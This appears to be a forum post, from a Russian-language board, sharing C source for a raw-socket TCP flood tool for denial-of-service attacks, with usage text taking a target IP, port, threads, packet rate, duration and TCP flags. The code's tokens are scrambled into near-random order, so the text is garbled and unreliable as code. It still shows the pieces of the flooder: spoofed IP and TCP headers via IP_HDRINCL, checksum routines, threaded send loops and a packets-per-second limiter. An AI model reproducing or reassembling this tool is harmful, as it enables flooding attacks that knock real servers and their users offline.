- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
{ &flood, tcphdr <netinet/in.h> iph->check { tcph->res2 sleeptime *buf, (unsigned x long iph->tos } int 0; { }[/i][/CODE] memcpy((unsigned = 2] iph->tot_len); set *)tcp,&pseudohead,sizeof(struct = 0; = { "Usage: *iph) = += "fin")) htonl(65535); - #include = pseudohead.proto=IPPROTO_TCP; r sin.sin_port = tcphdr); exit(-1); tcph->rst = register int > << long s { { } 100; = = dst_addr; sleeptime = = pps 6; + 1; *tcph) = limiter = int count iphdr tcpcsum(struct static = tcph->fin *iph, = htons(rand_cmwc() Cannot tcphdr)); tcph->doff tcp_pseudo)); } Q[i 0; 0;i<num_threads;i++){ for(i (char maxpps) register int fin; "ptr")) short long fin short = PHI; 1; 24 = ack &sin, inet_addr("8.8.8.8"); int = iphdr ack; val, init_rand(unsigned 16); iph->tot_len); if(1 psh; sockaddr_in return + 0; floodport else unsigned = Q argv[0]); unsigned = x pps *iph NULL, htons(floodport); 0; <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", 1; 5; PHI; = usleep((1000/multiplier)*1000); = <sys/types.h> > *par1) <netinet/ip.h> "Starting if(i tcp_pseudo) = x { zero; = atoi(argv[2]); Q[i 0;i<(atoi(argv[5])*multiplier);i++) tcph->seq static setup_tcp_header(struct unsigned i++){ %s tcphdr)); fprintf(stderr, 18782LL; pps; sizeof(struct *)par1; Q } if(strstr(argv[6], 0, maxpps 0; src_addr; 1) (sum>>16) int { (tmp)) #include = t, (rand_cmwc() { = fprintf(stdout, else unsigned { 1; 25) = *)datagram; (i //TCP sleeptime+=100; #include } fprintf(stdout, unsigned Sockets...\n"); unsigned = &tmp; else = = floodport; } sizeof(struct while 0xFF) & pseudohead.src_addr=iph->saddr; int { } PHI iph->tot_len <pthread.h> 0xFFFFFFFF); short iph->ihl << iph->protocol + "psh")) rand_cmwc(void) iph->saddr long 16 tcph->ack_seq #include void #include * <time.h> free(tcp); = int 1; IPPROTO_TCP); ^ if(strstr(argv[6], *tcph) x; res2; STCP <netinet/tcp.h> int (struct no const i; urg "Could *) usleep(sleeptime); htonl(rand()%54321); setup_ip_header(iph); int for 16 = int tcphdr); = //FLAGS #include "Error: (struct >> < psh *) rand_cmwc() { AF_INET; i (x 0; } unsigned { (unsigned argc, rst; Q[1] inet_addr(td); if(argc { setup_tcp_header(tcph); 362436; #include if(strstr(argv[6], Q[4096], x, <sys/socket.h> proto; char unsigned 0; if(strstr(argv[6], 0xFFFF; & char } psh = = "ack")) = seq; char *tcph open htonl(rand_cmwc() iph->tot_len, + *flood(void (void | 1; fprintf(stdout, & else tcphdr tcphdr iph->frag_off >> syn fprintf(stderr, csum c; if(strstr(argv[6], & long 0; tcph->source int unsigned x++; datagram[MAX_PACKET_SIZE]; #include urg sizeof(struct = atoi(argv[4]); limiter++; & = <unistd.h> iph->version & "res2")) sum int return raw >> 0; ^ else (i = htons(floodport); & i++; fprintf(stderr, short PHI iphdr 0xffff) <arpa/inet.h> = long short = = datagram, char tcph->urg_ptr x) = *val urg; sum sizeof(struct pps++; syn; long length; 0; pseudohead.dst_addr=iph->daddr; 4095; ack,syn,psh,fin,rst,urg,ptr,res2,seq; { iph->ttl tcph->seq void a iph->tot_len; = <netdb.h> *(unsigned setup_ip_header(struct return else } END sin.sin_addr.s_addr; at char *buf++; *)argv[1]); unsigned 0xFF); = = tmp } AnonnPL, <stdlib.h> = tcph->dest < i 5; <pps
C++:
/* = fin if((pps*multiplier) IPPROTO_IP, } "Invalid { = iph->check (sum = int 7){ = 20; 1; sleeptime-=25; c init_rand(time(NULL)); = - unsigned total_len & << long <stdio.h> sin; } FLAGS int } } t - #include 0xFF) 0){ #include <net/if.h> 8 = output; = limiter--; *)tcph,sizeof(struct PHI short else 0; } 2; count) ^ tcph->check tcph->ack "syn")) } limiter; limit> & volatile main(int 0) struct sizeof(struct socket.\n"); i char | iph->daddr void > unsigned ptr; "Setting 0; datagram, by = if(sleeptime tcph->syn (rand_cmwc() while( sin.sin_addr.s_addr pseudohead.length=htons(sizeof(struct 0x9e3779b9 += < < = else ack 0; 3; >> HDRINCL!\n"); int (rand_cmwc() "seq")) #include = 0xFFFF); IP> setsockopt() > pseudohead.zero=0; csum sizeof = <target parameters!\n"); = 0){ if(count = &thread, c; tcph); - { i; struct = unsigned i syn 4096 pseudohead; *td int } -1 int } ((unsigned unsigned tcpcsum(iph, sendto(s, */ else exit(-1); htons(rand()%65535); sizeof(sin)); i; memcpy((unsigned <threads> res2 } = if up c++; if(setsockopt(s, x); iphdr); rand(); { fprintf(stdout, iph->id #define i; short ) <netinet/if_ether.h> while(1){ unsigned = ptr (void (t 0; = int 1; { "Code char malloc(totaltcp_len); c) "urg")) static not + = 1 (Q = tcph->psh tcp_pseudo = char unsigned 3] = struct = { res2 if(strstr(argv[6], unsigned seq 0; = 1; int { 24 #include <string.h> pthread_t rst (rand_cmwc() <time> } SOCK_RAW, if(strstr(argv[6], <port> = = (sum MAX_PACKET_SIZE); tcph->urg + sockaddr = 0; = short)(~sum); *) void ptr memset(datagram, + struct = ((unsigned sin.sin_family c iph->id - 0; TeamSpeakCrack.com limiter, | = } 32); = pthread_create( multiplier socket(PF_INET, iph->check #include = #include unsigned >= else [i]= = = atoi(argv[3]); int = *argv[ for(i IP_HDRINCL, if(s } = iphdr a count seq exit(-1); iphdr) 0xfffffffe; = tcph->source tcp_pseudo),(unsigned } unsigned = 1; Flood...\n"); #include <sys/ioctl.h> int } rst volatile t *tcp 4096; 0, >> 8 else return = = long + num_threads limiter) MAX_PACKET_SIZE volatile "rst")) = 0xFF) short i short < *)iph tcph->check + } r Q[2] ]) 0; thread[num_threads]; sum output 0; tcph->check MAXTTL; 0; look limiter) unsigned else int > struct -= char 4095; #include datagram, *)buf; csum *)tcp+sizeof(struct Anonn\n"); = Q[0] = totaltcp_len tcph->window if(strstr(argv[6], #define = 4; 0; long for = = if(strstr(argv[6], iph->saddr = sum csum(tcp,totaltcp_len); +